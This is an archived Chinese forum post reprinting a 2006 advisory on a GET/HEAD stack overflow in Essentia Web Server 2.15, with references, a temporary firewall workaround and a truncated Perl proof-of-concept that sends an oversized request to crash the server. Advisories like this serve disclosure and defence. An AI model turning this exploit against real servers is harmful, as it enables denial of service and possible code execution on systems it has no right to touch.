岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

路边要饭的 发表于 2006-11-15 05:39

Essentia Web Server GET及HEAD请求远程栈溢出漏洞

<strong>发布日期:</strong>2006-11-07<br/><b>更新日期:</b>2006-11-10<br/><br/><b>受影响系统:</b>
        <blockquote>Essen Essentia Web Server 2.15</blockquote><b>描述:</b>
        <hr/>BUGTRAQ&nbsp;&nbsp;ID: <a href="http://www.securityfocus.com/bid/20910" target="_blank">20910</a><br/><br/>Essentia Web Server是微软Windows环境下的多线程HTTP Server,由Essen开发、维护。<br/><br/>Essentia Web Server在处理用户请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。<br/><br/>如果攻击者向服务器发送了超长的(超过6000字节)的GET或HEAD请求的话,就会触发栈溢出,导致执行任意代码。<br/><br/>&lt;*来源:CorryL (<a href="mailto:corryl80@gmail.com">corryl80@gmail.com</a>)<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;链接:<a href="http://secunia.com/advisories/22718/" target="_blank">http://secunia.com/advisories/22718/</a><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://marc.theaimsgroup.com/?l=bugtraq&amp;m=116318188120644&amp;w=2" target="_blank">http://marc.theaimsgroup.com/?l=bugtraq&amp;m=116318188120644&amp;w=2</a><br/>*&gt;<br/><br/><b>测试方法:</b>
        <hr/><font color="#ff0000"><p align="center">警 告<br/><br/>以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!</p></font>#!/usr/bin/perl<br/><br/><br/>use IO::Socket;<br/><br/>use Getopt::Std; getopts('h:', \%args);<br/><br/><br/><br/>if (defined($args{'h'})) { $host = $args{'h'}; }<br/><br/>print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";<br/><br/>print STDERR "-=[ Discovered By CorryL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="mailto:corryl80@gmail.com">corryl80@gmail.com</a> ]=-\n";<br/><br/>print STDERR "-=[ Coded by CorryL&nbsp;&nbsp;&nbsp;&nbsp; info:www.x0n3-h4ck.org ]=-\n\n";<br/><br/>if (!defined($host)) {<br/><br/>Usage();<br/><br/>}<br/><br/>$dos = "A"x6800;<br/><br/>print "[+] Connect to $host\n";<br/><br/>$socket = new IO::Socket::INET (PeerAddr =&gt; "$host",<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PeerPort =&gt; 80,<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proto =&gt; 'tcp');<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; die unless $socket;<br/><br/>print "[+] Sending DOS byte\n";<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $data = "GET /$dos \r\n\r\n";<br/><br/><b>建议:</b>
        <hr/>临时解决方法:<br/><br/>* 在代理或防火墙过滤超长的GET或HEAD请求。<br/><br/>厂商补丁:<br/><br/>Essen<br/>-----<br/>目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:<br/><br/><a href="http://www.essencomp.com/frmbuynow.asp?essentia" target="_blank">http://www.essencomp.com/frmbuynow.asp?essentia</a><br/>

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.